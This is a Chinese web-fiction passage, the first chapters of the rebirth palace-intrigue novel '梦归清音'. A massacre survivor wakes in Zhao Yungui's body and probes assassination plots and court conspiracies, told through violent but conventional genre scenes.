《梦归清音》
1. 魂兮归来
“迎万鬼，祝亡魂……”
……
夜幕降临，外头的天顷刻间便被乌云笼罩，那星光月色也都被藏了起来，一瞬间雷电交加，点点雨滴无情的落下，雨声在耳旁无限放大，与急促的呼吸声交杂更显沉重压抑。
“呼——”
跑的气喘吁吁的大夫被拉着快步带走进房间，一个电闪雷鸣房间瞬间宛如白日，看到那床榻上躺着一个浑身是血，脸上也是血肉模糊的人，吓得他手上的东西重重摔落在地。
“这……这…定是救不活了啊！”
说着他提起药箱转身就要走却被拦住了。
高梨用力掐住他的脖子，把他扔到床前，拔出手中的剑抵住他的脖子，冷声威胁道，“救不活？那你也别活了。”
冰冷的剑刃在他的脖颈留下一道血痕，那一丝刺痛被无限放大，颤抖的声音落地。
“我…我……尽力，尽力！”
大夫咽了咽口水认命般的爬了过去，颤抖的手靠近检查赵云归身上的伤，可刚碰到她便疼的放声尖叫。
“啊——”
伤口很深，深到有些地方都能看见森森白骨，深到肉眼看去见不到一块好肉。
“温水。”说着他从箱子里取出一把剪刀将赵云归身上的衣裳剪开，可衣裳早已与血肉粘在一起，这样一来引的她胡乱挣扎。
“快快……快按住了！”
清水被鲜血染红，一次次换新，高梨看着进进出出的人担心的来回踱步，却帮不上忙。
“啊——”
“啊！”
黑夜渐渐褪去，房间里凄惨的叫声也慢慢弱了下来，微风拂过，凉意染上心头。
大夫拖着疲惫的身子走出，见到那宛如杀神般的人站在雨中看着他整个人都软了。
“生死有命，富贵在天。”
“轰隆！”
“轰隆隆！”
雷声再次响起大夫吓得快步逃离了这里。
或许是这夜的雷声太大，竟吵醒了那昏迷的少女，她微微张开那发白的嘴唇都好像会牵动浑身的伤口一般，眉头紧锁着，渐渐的额头上冒出一层冷汗，再一次电闪雷鸣间缓缓地睁开了双眼，“我…这是……在哪儿？”
强撑着疼痛难忍的身体坐起，这周围的场景就像梦境一般与十多年前的记忆重合。
这一切都是那样的不真实。
这么多年了，“我真的回来了？”
赵云归的手搭在胸口紧攥着衣服感受着心脏的跳动是劫后余生的庆幸，可身体上密密麻麻如蚂蚁啃噬的刺痛无一不在提醒她，那刺穿身体的长剑不会允许她活下来的。
“我……”活下来了……那，“姐姐呢？”
她的声音变得慌乱不安。
纤细白皙的手抬起，指尖轻轻抚上脸颊，按上后传来的疼痛刺激着她的每一根神经。
如果，“我还活着！”
那，“他们呢？”
一幕幕血腥的画面在脑海浮现，泪水打湿了眼眶，踉跄着朝门外走去，怔住脚步，不远处一个身着玄衣，相貌俊美而不是英气的男子一手打伞一手持剑站在雨中。
两人静静对视着。
刺骨的寒风将裙摆吹起，裸露在外的脚被冰冷的雨水打湿，又是一阵头晕目眩，身体不自觉的颤抖，伸手扶住门框，冒着冷汗。
“阿兄？”
“是你吗？”
赵云归试探的叫出声。
对面的高梨本已舒展开的眉头再次皱成一团，“起来作甚？”
“回去躺好。”
赵云归却跟没听见一样迫不及待跑了过去，高梨见状顾不得手中的剑伸手扶住了她，“当心。”
“阿兄！”
“你帮帮我好不好！”
“帮帮我！”
高梨将手中的伞偏向浑身颤抖的人，眼睁睁的看着她脸上的白布渗出点点血迹，以为她是担心自己的伤势，便开口安慰道，“没事的。”
只要……“你好好养伤，都会好起来的！”
“不！”赵云归的不停的摇头，与高梨对视着的双眸也不断的有泪水流出，“不是的。”
“救救她们！”
“求你，去救她们！求你了！”
握着高梨的手不断用力，身体也颤抖的更厉害了，好像不知道什么时候便会倒下。
她如此痛苦，高梨也不想打破她的幻想。
可是，“她们已经死了。”
死了？
怎么会？
“我都还活着啊，她们怎么会死？”
“嗯？她们怎么会死呢？”她哑着嗓子念叨，就这么反复念叨着，眼神飘忽看上去有些恍惚。
“不会的。”
“不会的。”赵云归腿一软两人同时跪下，怕她摔倒高梨双手扶住她，手中的伞顺着风滚落到一边。
崩溃的低下头，泪水混着雨水落下，落在地上溅起来一朵朵红色的水花，无力的倚靠在高梨的手臂上，声音哽咽，“那我……”
“怎么办啊。”
“一切都会好起来的。”高梨空出来的手轻抚着她的背，好像这样可以给她一些安慰。
“真的吗？”
可，一切都会好起来的话，他们呢？
赵云归用最后的一丝力气起身，嘴唇微张，声音像是哽在喉咙里，“可是她们都死了。”
“他们都死了！”
“啊——！”
她痛苦的低吼着，身体颤抖，整个人都在失控的边缘游走。
而此时不远处荒废已久的昙华寺在那一夜，灯火通天，祭台前的白发红袍男子戴着青铜面具手持青铜铃铛，嘴中飞快的念叨着。
雷声大起，未曾起风红绳上的铃铛却响个不停，直至整个寺庙被白雾包裹声音才彻底消失。
“啊。”哭喊着抬起头，她对上高梨眼神都瞬间沉沉的闭上眼睛。
“云归。”
“云归！”
将怀中的昏迷的人打横抱起，急切的往房间跑去，“来人！”
重新处理好伤口，她却一点醒来的预兆都没有了，仿佛是不愿再醒来一般。
白雾消散，昙华寺恢复如初，仿佛一切都没有发生过。
而赵云归昏迷了多久旁边的人就守了多久，伤口反反复复的感染她便反反复复的发烧，急的这将军府的人都聚到了一块儿显得其他院落冷清极了。
而在外人眼中都觉得这赵家嫡小姐便会就此香消玉殒，哪里想得到折磨了他们一个月后床榻上的人竟真醒了过来。
“不要！”
赵云归从床上弹坐起身，像是经历了什么恐怖的事情一般，眼神呆滞，胸口剧烈起伏着，裸露在外的肌肤上也布满了密密麻麻的汗珠。
“嘶！”
此时只觉得浑身上下都酸疼的厉害。
想要集中注意力，脑海里却只有自己被长剑刺穿胸膛的画面，仿佛跌入了深渊，怎么也甩不掉。
“到底是为什么？”
神医谷创世百年，救死扶伤，从来没有得罪过人，现如今为何会落得如此下场。
想到这儿，她的双眼仿佛燃起火焰，双手紧握胸口剧烈起伏，急促的呼吸，显然心中的怒火下一秒就要释放出来。
掀开被子朝门外走去。
天气已然放晴，高梨双手交叉，抱着剑站在不远处，看着开门的人微微叹气，语气显然很不好，“回去。”
赵云归并没有打
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算理他，想要绕过他离开。
没想到高梨直接伸手捉住了她，却依旧收了些力道，“你想干嘛？”
“我要杀了他们！”
“你要杀谁？”高梨将人拉到自己面前，压制着脾气，尽量控制着音量，“我再说一遍。”
“回去！”
“你凭什么管我？”赵云归想要挣脱束缚反而让高梨加重了力道。
“赵云归！”
“你究竟在发什么疯！”
赵云归愣住了，本以为是被高梨突然提高的音量吓得，可她看着高梨的眼神有些不解。
见她冷静下来高梨松开了她，尽可能的压制着心中的怒气，“好不容易给你捡回一条命。”
“如今又想着去送死了？”
赵云归摇着头踉跄着往后退了一步，她的嘴唇微张，想要说些什么却像是被堵住了。
“我？”
意识到什么，她此时的心跳如同擂鼓般狂跳。
见她有些站不稳了，高梨伸手想要扶着面前这个跟丢了魂一般的人却被躲开了。
“云归？”
“抱歉…是我冲动了，我…我以后不会了。”
没头没尾的说了一句后便转身想要回房间，高梨可不会任由她这般，两步并作一步上去握住了她的手腕，“你。”
关心的话到嘴边又被硬生生的咽了回去，“小秋，带二小姐下去换身衣服。”
“是。”
“二小姐走这边。”
赵云归抬起手看了看被握的有些皱的衣服，凑近闻了闻便跟着小秋走了。
褪去衣衫，走进浴池，花瓣仿佛铺满了整个水面，抬手花瓣便顺着一片片落下，小秋跪在一旁为她倒酒时便有人端着水果走近放在了她身边。
“二小姐有事叫我们便好！”
“嗯。”
只剩下她一人后，赵云归慢慢下沉，直至浴池里的水没过头顶。
“噗！”
“咳咳！”
猛的睁开眼，扶着旁边急促的喘息着，终是接受了这一切，可那张脸，“我永远都不会忘记。”
可，为什么会用赵云归的身体醒来？
这一切都太不真实了，背后到底有什么阴谋？
小秋端着东西走近，跪在旁边俯身倒了杯酒，“安王殿下在府中做客。”
“少将军吩咐了，若是二小姐不喜便在院子待着即可。”
赵云归点了点头下意识的端起旁边的酒杯就准备喝掉，酒杯碰到嘴唇的瞬间愣了一下，凑近嗅了下，赵云归的脸上浮现出一丝不解的神色，又放了回去。
“你到旁边候着吧。”
穿上早就准备好的衣裳赤脚走回了浴池边，蹲下身将酒杯里的酒倒进浴池后便叫小秋进来给她梳妆了，都弄好后赵云归让人准备了纸砚，写了些东西便交给小秋。
“行了，下去吧。”
“是！”
等小秋离开后赵云归用白布条缠住脖子，挡住上面的刀疤后才将一旁的面纱系上走出去，只是随意逛逛便撞上了高梨与另一男子交谈。
仔细看去，另一男子五官立体长相俊丽，就算是坐着轮椅也丝毫不影响他举手投足之间自带的威严。
谈话间高梨看上去对他也是十分恭敬。
如此看来那人便是那唯一留在京城的王爷，也是云归的未婚夫——安王箫祁政。
转身正欲离开高梨的声音却近了，“云归。”
“阿兄。”
高梨快步走近后看了一眼身后凉亭里喝茶的人拍了拍赵云归的肩膀，告诉她箫祁政救她一事，下意识看去便对上他含笑的双眸。
救命之恩吗？
可是，真的会这么巧吗？
2. 还真是不好意思啊
高梨虽不喜两人的婚事，可箫祁政毕竟是她救命恩人，再怎么说也还是要好好感谢他的。
这些时日他不在，箫祁政便住在这边了。
可赵云归脑海中只想着此人与她身上这件事的关系，其它的根本都没听清就胡乱点头答应了。
“你好好待着不许乱跑。”见她思绪早不知飞到何处，轻弹了一下她的额头便没好气的走了，留二人叙叙旧。
“安王殿下。”
“不用拘束，坐吧。”
两人对视着，赵云归看上去还是有些拘束的，箫祁政看着她这般模样却笑的温柔，凝望着她的眼神里满是浓烈的情意，没有一丝掩盖，“许久不见倒是生疏了。”
“王爷说笑了。”
赵云归四岁那年便被赵家送到了青鸾山上，若不是那场意外也许世人早已忘记赵家还有个二小姐了，况且当时两人也并未定下婚约，还真是谈不上生疏这一词。
看出她的疏离箫祁政主动找着话题，赵云归确是随意的附和着。
说着，眼神有意无意的打量着眼前人，仿佛想要看出什么端倪，可最后却将视线停留在了赵云归额头上的刀疤处，眼神晦暗。
周围的空气都显得有些冷了，两人也不知是在等什么。
“云归！”
“嗯？”怎么了？
疑惑的顺着箫祁政的视线往身后看去，就见那不远处的屋顶上有一个人的脑袋在乱动，许是发觉自己已经暴露了干脆一不做二不休，没有一丝犹豫的按下手中的弩，短箭直冲着两人飞来。
“嘶。”
“云归！”
赵云归的手臂撑着旁边的石桌，整个人都趴在桌上，抻直手臂的那只手用力的握着与箫祁政的脸只有毫厘之差的箭，暗红色的血液顺着指缝流出落在箫祁政的腿上。
隔着一层衣裳仍觉得烫的很，“怎么样？”
焦急的手伸出想要查看她的伤势，可惜还没碰到她便颤抖的松开了手，短箭落到箫祁政的身上却没心思去管，还想拉过她的手查看却被灵活的躲开背在了身后。
“我…我没事的。”
人虽逃走了，可这里并不安全，“还是先送王爷回房吧。”
指尖勾下缠绕在脖颈上的白色长布条随意缠在受伤的手上，脖颈上狰狞的刀疤露出她却毫不在意的走到箫祁政的身后，推他离开。
“当真无事？”
“王爷无需担心。”
等进了院子赵云归开口说要离开时他才发觉到不对劲，控制着轮椅转过身，“云归？”
“嗯？”
转过身，一阵微风拂面，那白色的面纱贴在脸上却染上了一丝血迹，眼见着她的眼神变得迷离箫祁政控制着轮椅朝离她近些。
“你……”
实在是撑不住往后倒去，箫祁政伸手想要拉住她却害的他也一起滚到了地上，轻皱眉头，放轻力道抽出被她脑袋砸的发麻的手，满是焦急，“云归！”
“来人！”
府中的人闻声而来将她送回去并请来了大夫。
孤月高悬，朦胧月色笼罩着赵府宅院，小秋跪坐在床边昏昏欲睡，那摇曳的烛火仿佛下一秒就要熄灭。
床榻上是少女缓缓睁开眼，强撑着无力的身体起身却引的木床吱呀作响，让一旁的小秋瞬间清醒了，“二小姐。”
“奴婢这就去叫大夫。”
“等等。”本想要捉住她，抬起的手臂再次无力的垂下，“东西呢……买回来了吗？”
犹豫着将一个瓷瓶递给赵云归，小秋仔细看过她写的那几个吃食，是今朝醉独有的，高梨也看过没问题小秋这才出去买，可那小厮看到信纸后却说这些都已经没有了，只给她这个瓷瓶。
想着这也是个交代，便带回来了。
“哎，算了。”
“我还是有些难受，你先去叫大夫。”说着，赵云归低垂着眼，表情有些痛苦，“等等，先将窗户关上。”
“是。”
见小秋出去后她才收起那表情，打开手上的瓷瓶将里面的乳白色液体一饮而尽，身体上的无力感慢慢的消失，抬手看着重新包扎好的伤口嘴角微微勾起，
还真是，“不好意思啊——”
等人慌张来时，发现她身上的毒已经解了，那人眸中是无法掩盖的震惊，赵云归则是选择装傻充愣，最后无事便都离开了。
次日，赵云归身体以不适之由留在自己院子里用膳，可毕竟是为了救箫祁政才受的伤，他便直接找了过来，话语间满是自责。
“咳咳。”
“我已无碍，王爷无需自责的。”
“咳咳。”
两人交谈了许久才依依不舍的离开，箫祁政也表示日后若是需要他开口便是。
刚将人送走便迎来了一位不速之客，那人看上去算上老却也是上了年纪的，眼角的细纹是岁月的痕迹，许是赵云归的眼神过于直白，妇人有些不悦的皱了皱眉头，“二姑娘这是不记得我了？”
“怎么会。”
“小时候便是孙妈妈陪着我的，又怎会不记得呢。”
孙妈妈勾起嘴角假笑着，脸上的肉都堆了起来，“无论何原因，二姑娘回来理应先去看望老夫人的。”
“孙妈妈教训的是。”
“走吧。”
云归年少时从未提起过她这个祖母，可据她所知，云归四岁便被送到青鸾山其中也有她的推波助澜。
显而易见，她这祖母并不喜爱她。
路上，孙妈妈一直说着不停，并不想跟她起冲突，在说话时便一直都保持着那笑容，孙妈妈转身时她的嘴角便落下看向她时嘴角便扬起，等到时感觉脸都僵了。
一个中年妇人端坐着，看着便是在等着她来。
赵云归快步走近双手交叠，手掌向上举至胸前，微微下蹲，“祖母。”
“走近些让我瞧瞧！”
赵离的语气称不上和善，从她的眼神便能看出她的不喜欢，赵云归稳步走到赵离身边谁想她竟直接将她脸上的面纱拽下，表情变得嫌恶，“啧，还真是可惜了。”
“唉。”
“也罢，大难不死必有后福嘛。”赵离将面纱递还给她，端起桌上的茶便不再看她，“回来了就好生待着，不要想着惹事。”
“既然安王不嫌弃你，你便待在屋里好好学学礼仪，安分的等到婚期便可。”
“是，云归明白。”赵云归像个做错事的孩子一样，低着头听着赵离训话，等她说累了赵云归才重新系上面纱离开。
这几日孙妈妈时不时便会到她这儿来，一日得来个一两次，说的好听的是老夫人吩咐教她学习礼仪，说的难听点儿就是变着法儿的监视她呢，赵云归也就没有办法出去了，只能呆在府中早晨舞剑傍晚数星星，无聊透顶。
不过有时箫祁政看到她这般颓废模样便会带她出去逛逛，稍微能让她开心些。
半月过去，赵云归早早的便在外面等着孙妈妈过来了，可今日左等右等也不见她来，问了才知是陪着赵离去普陀寺了。
好不容易没人看着了便快步出去了。
感受到身后的身影赵云归只好乱逛了起来，走着走着便随意进了一家成衣店，又定了几套衣裳就走了出去，那而些人早早的便躲在人群中等着了。
又随便买了些小玩意儿就回去了。
收拾好东西，躺在浴池中，看到熟悉的酒杯又端起闻了闻，无奈摇头，“不是……怎的还这般锲而不舍呢！”
酒杯从指尖滑落，掉进水中，赵
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云归佯装可惜的将酒杯捞出丢到一旁，也不知滚到何处了，起身穿好衣裳便随意盘了下头发出去了。
坐在房间书案前。
随意拿起笔沾墨在白纸上写着些什么。
微风拂过随之飘起的发丝扰乱了她的心绪，停下手中的动作抬起头一眼便看到了院子里的桃树，将贴在脸上的发丝别好又重新书写起来。
突然一道破空声从远处传来，赵云归向旁边倒去，笔尖上的墨水正好甩出了一个半弧形。
松开手，笔落在地板上。
撑着地板起身，重新坐好，却并未看到有人，等了许久却没有动静了，起身放轻脚步，警惕的挪了一步，果真是没了动静，探身将窗户关上后取了一方手帕将插在木桩里的短箭拔出，打量着。
“是要杀我吗？”
不会吧，她刚回京就有人迫不及待的来杀她，可哪有杀人只放一箭的啊，只是……这箭看着怎的这般眼熟，不会是，“被发现了吧——！”
这人，还真的是，“有意思！”
将它包好收起来后捡起地上的毛笔随意扔在书案上，又随意拿了本书后走到窗边伸手推开窗户门翻出去。
静静坐在桃树下的石桌旁看书。
没一会儿箫祁政便被人推了过来。
赵云归装作没发现继续看着手中的书，直到他到了身边才惊讶的看过去，“王爷怎么来了？”
箫祁政一把拉住准备起身的赵云归。
本意是不用她行礼。
“咳。”意识到不对，连忙松开手，示意旁边的人将长匣子放在石桌上后离开，才有悠悠开口，“本王送的酒云归是不喜欢吗？”
酒？
赵云归想到被她倒进浴池的毒酒眉头微微皱了一下，毒是他下的？愣了一下才开口搪塞过去了，抬起那还包扎着的手有意无意的看着，“受伤未愈不宜饮酒，还望王爷见谅。”
毕竟是替箫祁政挡箭中的毒，万幸他看上去并无怀疑，而且眼里全是懊恼，“无碍，倒是我考虑不周了。”
赵云归笑眼弯弯的低下头，看上去有些不好意思。
难道，不是他？
箫祁政这些时日留在赵府其实是要调查青鸾山一案的，毕竟她是唯一的幸存者，许是怕她过于害怕才拖到今日才问。
果然等他问到这件事时，赵云归眼中的情绪变得不对劲起来，有些恍惚，有时得说几遍她才会有反应，像是害怕极了。
箫祁政时不时的轻拍着她的背安抚着她。
“如何，想起来了吗？”
“嗯——”赵云归搭在桌上的手微微握拳，仔细看去还有些发抖，她装作思考无果的摇了摇头，“那些人……都…蒙着面，我……我不记得了。”
“是真的不记得吗？”
赵云归将手放在腿上，眼神飘忽，再次看向他时坚定的摇了摇头，“是……是啊！”
“那……若是本王知道是谁下的手，云归可愿助我？”
箫祁政看上去只是随口一说却吓得赵云归站起了身，“王爷真是折煞臣女了。”
没想到她的反应会是这般倒是让他起来几分挑逗的心思，“若是，必须呢？”
赵云归像是害怕极了，往后退一步直接跪下，声音里满是疏远之意，“家父一心为国为民不愿卷入无端端争斗之中，王爷许是找错人了。”
“起来吧。”
“你我不必如此生分的。”
“是。”
赵云归起身坐回去，像是受了极大的惊吓，箫祁政将桌子上的长匣子推到了她面前，“我只是希望你可以站在我的身边。”
“我真心想帮你。”
这话一出，被挡在面纱之后的嘴角不自觉的勾起，这人比她还能演啊。
3. 除了我你别无选择
赵云归眼含笑意的看过去，没有任何防备的伸手打开面前的长匣子，一柄再熟悉不过的腰带剑正躺在里面，看出了神。
云影？
云影剑剑身轻薄如纸，但剑气犀利，威力无匹，是当年师傅送她的生辰礼，应当与她的尸身一起埋葬在青鸾山才对，为何会出现在箫祁政手中？
是知道些什么或是有心试探？
“云归……你可以重新回答一次我的问题。”箫祁政的神情依旧看不出什么，只是这语气却是势在必得。
面纱之后的嘴轻抿着，努力控制着表情不能被他看出什么不对来，有意将声音压低，听上去人畜无害甚至还带着些紧张，“无论再问多少次我的回答都是一样的。”
说着，看上去无所谓的关上长匣子推了回去。
“唉！”箫祁政有些遗憾的摇了摇头，不知从何处取出一块玉佩打量了起来，语重心长道，“云归，你的敌人在宫墙之内啊。”
“可惜了。”
就算是再不愿意又如何呢，“除了我，你别无选择。”
微弱的光透过他举起的玉佩，将它的图案印在桌子上，隐约看的出那图案是栀子花，赵云归控制住想要抢夺的冲动强装冷静道，“若是王爷需要我，我…必定站在王爷身边。”
“就是不知王爷需要我做什么？”
箫祁政自是料到她一定会答应的，将木匣子重新推了回去却把玉佩收了起来，“若想破局，当以身入局。”
“若是需要，我可只身入局。”
抬眼便对上箫祁政打量的眼神，他不说话赵云归便继续说。
“我可以做王爷手中的剑，赵家不可。”
“可我不想你死啊。”这可怎么办呢！
赵云归不知他到底在想什么，说让她入局又说不想让她死，果真可笑至极，“王爷怎会不知父亲最厌烦的便是这朝堂争斗，我不该也不能让他们陷入不忠不义之地。”
“这…是底线。”
“好。”
“我明白了，那云归……你不妨好好回忆一下那人究竟是何人行刺！”
赵云归双眼低垂着，她的脑海里浮现出那一天的场景，而这一切的一切得从一个多月前说起了。
兴和十五年，七月十四日。
小宫女莲心面露急色小跑着往慈宁宫去了。
而此时的慈宁宫殿内一个年轻女子正侧身躺在一个衣着单薄的俊朗少年身上，那女子身姿曼妙，容貌娇艳，肤若凝脂，宛如谪仙。
不愧是当年的第一美人。
莲心进殿时是低着头的，跪在两人面前时仍是低着头的，看着便是习惯了这般场面，“太后，如今已是第三日。”
“神医谷之人仍不愿出山。”
肖暮云闻言脸上倒是未显一丝怒气，只是淡淡一笑那少年郎扇扇子的手便是一顿。
“既然她们执意不出，又何必为难？”说着她轻轻挑眉，莞尔一笑摄人心魂，“一把火全烧了便是。”
“是。”
“记住了，一个活口都不要有哦。”肖暮云声音淡淡的，仿佛从她口中说出的是什么无关痛痒的小事一样。
“是。”
夜幕低垂，明月高悬，此时青鸾山上的神医谷众人还不知灾难悄然而至，甚至有的在睡梦中便被夺去了性命。
“啊！”
“啊！”
大火直冲天际，惨叫声不断。
谷清音闲来无事在外面赏月躲过一劫，依旧被那漫天的火光吸引了注意，那个方向，是，“神医谷！”
可是……等她赶回去推开那半开的石门时，便见一个与她穿着相同衣服的人被黑衣人一剑封喉，“师姐！”
奋力奔去却是无济于事。
谷清音拔出腰间的软剑便向那黑衣人刺去，两招便让他以同样的死法重重倒在血泊中。
“砰。”
软剑落地她也顺势跪坐下，颤抖的手将地上已经没有了呼吸的人用力的抱在怀里，泪水从脸颊滑落与鲜红的血液混在一起，她捂着刺痛的心脏抽泣着，身体被强烈的窒息感包裹住，无法动弹。
“啊！”谷清音再也忍不住大声嘶吼起来，声嘶力竭，目光涣散，“到底是谁？”
到底是谁！为什么要这么做！
“为什么！”
“姐姐。”身后虚弱的呼喊终于唤回了她一丝理智。
松开手将怀中人放下，起身，穿着素衣白裙却浑身上下都是血痕的女子艰难的迈着步子，朝她走去，微风拂过，衣裙随之飘起，看着她脸上的笑容谷清音仿佛再次看到了希望。
“姐姐。”
谷清音扯出一丝笑安抚她，轻颤的嘴角却出卖了她此时的心情。
“云归。”没事就好。
下一秒感受到她身后危险的气息，谷清音没有丝毫犹豫的跑去，奋力伸出的手与那满是伤痕的手相握将她拉开。
本该刺向赵云归的长剑却刺进了她的胸膛。
唇齿间是浓郁的血腥味，低头，粘稠的血液从锋利的剑刃一滴滴落地，口中的鲜血止不住流出也被剑刃分成两半。
“为……什……”
谷清音伸手扯下那人脸上的黑布，少年郎的脸暴露在他眼前，胸口的利刃被慌张的拔出，谷清音随之倒地，手中仍旧不死心的紧紧攥着那黑布。
“咳！”
“咳！”
鲜血不断从伤口涌出，口中的血液也随着她最后的喘息胡乱流出，本就睁不开的眼睛也被血糊住了。
就这样，被世人称赞的神医谷仅一夜之间便燃烧殆尽，消失在这世间，而这朝堂之上除丞相外竟无一人敢做那出头鸟，站出来，可这天下谁不知当今陛下是她太后肖氏一手扶持上位的。
这冤屈又该找谁。
箫元义透过面前的帘子看着朝堂下如何都不愿起身的沈溢之，又看向右边不远处端坐着看上去丝毫不担心的肖暮云。
扫视着众人，内心也很是纠结啊。
与那双极具威胁性的双眸对视上后他原本紧握着的手松开，声音里全是无奈，看向一旁，“丞相所言，太后可认。”
说话时他的头微低下，把玩着手中的佛珠没有看向任何一方人，只静静等着肖暮云的回答。
“哼”肖暮云嗤笑一声，看向肖元义的眼睛微眯着，目光满是玩味。
“普天之下，莫非王土，神医谷却仗着医术高超不将皇室放在眼里。”说着肖暮云的目光又落到了仍跪在地上的沈溢之，嘴角微微勾起，“丞相觉得为何？”
“藐视皇威，狂妄至极！”
肖暮云提高声音这般说着，朝堂下便也不安分起来，有些人已经蠢蠢欲动了。
不给其余人附和肖氏的机会沈溢之浑厚有力的声音传来，“神医谷百余人一夜之间全部丧命可见其手段狠辣。”
“陛下，神医谷存世百年啊！”
“若无所作为怕是会寒了天下百姓的心啊，微臣望陛下严惩……严惩此人啊！”
“臣附议！”
“臣附议！”
“臣等附议！”
“唉。”这……还真是难办啊！
箫元义轻叹一口气，意味深长的看着肖暮云，所以……“丞相所言，太后可认啊？”
“哀家，不认。”
听到他想听的答案箫元义方才松了口气，也不愿再看着他们在下面争辩了，“既然如此，此
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事日后便……”
“陛下。”就在众臣都以为这事就此作罢时最前面坐在轮椅上的人开了口，“此事牵涉甚广，还望陛下三思而行！”
“安王—？”
箫祁政从前可从不会管这些事的，这般模样倒是少见，箫元义也就没有打断，任由他说了下去，“早年间赵氏女曾被送往神医谷，如今却遭遇暗杀昏迷不醒。”
“此事恐怕得等赵将军之女醒来才好定义。”
“是因为赵家吗？”小声嘀咕了一句，箫元义的眉头不自觉皱起，在心中盘算着。
若不是箫祁政真的断了腿，箫元义当真会以为他这般做是为了这皇位了，早年间他无论如何也要娶这赵氏嫡女，本以为是为了巩固他的地位，如今看来他是真的喜欢这赵氏女啊！
箫元义把玩佛珠的手一顿，这事若是牵着赵家便不能草草了事了，抬眼透过帘子静静的看着肖太尉。
看来，此事还真不只是太后的手笔啊。
箫元义伸手按了按太阳穴，表情变得难看至极，“太后觉得呢？”
“安王说的倒也不无道理。”
箫元义点了点头，轻叹一声，“如此，那便依你，此事全权交给安王。”
“退朝。”
肖等箫元义走远后肖暮云才在莲心的搀扶下站起身。
透过帘子阴沉沉的看着已经被推远的箫祁政，自然垂下的手用力的握着，等人彻底消失在她的视野后才缓缓转过头，眼眸森然满是怒气，对着身旁低着头的莲心反手就是一巴掌，“啪。”
“这点事都做不好，没用的东西。”
“成事不足败事有余。”
莲心紧咬着嘴唇才没叫出声，忍着脸上火辣辣的痛附身跪下，“太后饶命。”
肖暮云闭上眼微微仰头才将心里的怒火稍微控制了些，一口浊气吐出看向地上的人时抬脚踢中莲心的头，挨上这一脚莲心摔倒在一旁头差点磕在旁边的柱子上。
即便如此莲心仍不敢辩解一句，重新爬回去跪好在肖暮云脚边。
“废物。”
说着肖暮云拎起裙子穿过面前的帘子，将脸上的表情调整好，在一个看上去等候多时的男子旁停下了脚步，“哥哥。”
肖权转过身，看向她的眼神冰冷的可怕，浑身上下散发着一股生人勿近的冰冷气息。
“今日你的话有些多了。”
“兄长教训的是，日后定不会了。”
“罢了。”说着肖权便转身往外走去，“无论怎样那小子都不会放过这次机会，把你那小皇帝哄好了。”
“只要他的腿永远那样，他便永远都掀不起什么风浪，知道吗？”
“知道了。”
肖权转过身拍了拍肖暮云的肩膀，意味深长的看了一下莲心，只是一瞬眼神又落到了肖暮云的身上，“赵家那丫头你知道该怎么办的吧。”
“嗯。”
“可千万…千万…别再给我出什么岔子了。”
肖暮云微微低头，不知是在想些什么，肖权嘴角微勾冷笑一声收回了自己的手，眼神里也满是不屑。
“行了，别送了。”
肖权笑着离开肖暮云转过身目光凌厉，感受到她吃人般的眼神莲心的脸色愈发惨白，低着头双腿也不自觉的颤抖。
“头抬起来。”
肖暮云的声音低沉，语气里满是压迫，莲心听话的将头抬起眼眸却依旧垂着。
“啪。”
莲心的头被着重重的一巴掌打偏却一动不敢动，犀利冷冽的眼神像是刀子般插进她的每一寸肌肤让她的不禁颤抖着，“听到了？“
“你和她只有一个能活下来。”
“是。”
4. 他永远不会原谅你了
瞪了一眼旁边她们也抬步离开了这儿，本想着能清静清静了，没想到两人刚进慈宁宫那俊朗的白衣少年就笑吟吟的迎了上来，“陛下他…在偏殿等着呢。”
看着玄安白皙脸庞上的红印还有那湿润的双眼肖暮云轻抚上她的脸。
本就心烦如今更烦了，他如今这般模样一看就是在箫元义那儿受了气找她做主来了，可她现在看到他心底也生不出一丝的心疼，恨不得让人直接把他拖走，“不是说了别让他看见你吗？”
“奴……奴以为是太后回来了。”
玄安抚上她贴在自己脸上的手，低头嘟囔着，这样看上去果真是受了天大的委屈一样，“奴也是想着伺候太后。”
他一边说着，那泪水便如同断了线的珍珠般往下落，再次抬眼，看向肖暮云的眼神也是可怜的很啊。
“哼！”肖暮云轻笑一声将手抽出。
“啪。”
不给玄安任何反应的机会，没有红痕的那边脸便迎来一声清脆的的巴掌声
周围的空气仿佛都凝固了一瞬，等玄安反应过来后表情变得惊恐，也不敢再装了扑通一声就跪到地上，哐哐磕头，“玄安……知错…太后息怒。”
“啧！”肖暮云很不耐烦的抬脚踢了一下他的头，他这才停下动作，看着他泛红的额头心中更烦了，“脸若是毁了，你也就没有留下的必要了。”
“玄安……知道了。”
指尖轻按着眉心，不愿再看他这般模样，“行了，滚吧。”
“是。”
玄安离开后，肖暮云转身便看到不远处皇帝身边的小太监正一脸谄媚的看着自己，稍加思索了一下选择了转身朝另一个方向去了，“吩咐下去，今日谁都不见。”
“是。”
只身回到寝殿的肖暮云瘫坐下去，双手紧握指尖深深的嵌进肉里，一想到刚刚肖权的嘴脸双手就不自觉的加重力，重重捶着桌面，“要不是我，凭你…也能坐到如今这个位置？”
“威胁我？”
“你算个什么东西！”
“若不是……”看在当初他为自己求过情又怎么会让他坐上这个位置，一想到事儿肖暮云便忍不住重重的敲了一下桌面。
“混蛋！”
当年，肖庭轩为了巩固自己的地位将年仅十四并且有婚约在身的肖暮云强行送进宫去，她本就不得喜爱，肖家对她也是非打即骂，要不是生的貌美哪里还活的到那日，得知这个消息后论她如何也唤不醒肖庭轩的良知。
只想着如何用她的身体将利益最大化。
肖暮云与肖权虽不是一母同胞，当时却只有被养在外面的肖权为她求情，她自然知道这一切都是徒劳，还是将此事记在心头。
后面也帮着他做了不少害人的勾当。
当初无势便上赶着巴结，现如今倒摆起架子了。
可是……“你似乎忘记了一件事，我的好哥哥！”
回想到那张熟悉的面孔，肖暮云的眼神变得狠厉，可别忘了……“那老东西还没死透呢。”
“不让我好过你也别想好过。”
“太后这又是不想让谁好过啊？”许是太过于心烦箫元义走近都没有发现，直到声音从身后响起她倒酒的手一顿，脸上的表情恢复如初。
“皇帝何时还有了听人墙角的毛病了！”
说完肖暮云将杯中的酒一饮而尽，握着杯子的手力度不断加重，两人都不再开口说话却感受到背后的视线越来越炙热，“怎么，看皇帝这样子是来问罪的？”
“告诉我为什么。”
为什么？
还能为什么？
“神医谷若是不能归顺便不能存在，你有没有想过若是箫祁政的腿若是真的被治好你的位置如何能稳住！”
“哀家都是为了皇帝好啊！”
箫元义早就料到她是这般说辞，但是当面听到还是觉得有些好笑，他一言不发将门关上，偌大的房间就只有肖暮云面前的一盏灯还亮着，待他再次转身好像有些看不清他的面庞了。
肖暮云微微偏头，盯着他一动不动。
等他走近两人的眼神才再次对视上，“好一个为了我好！”
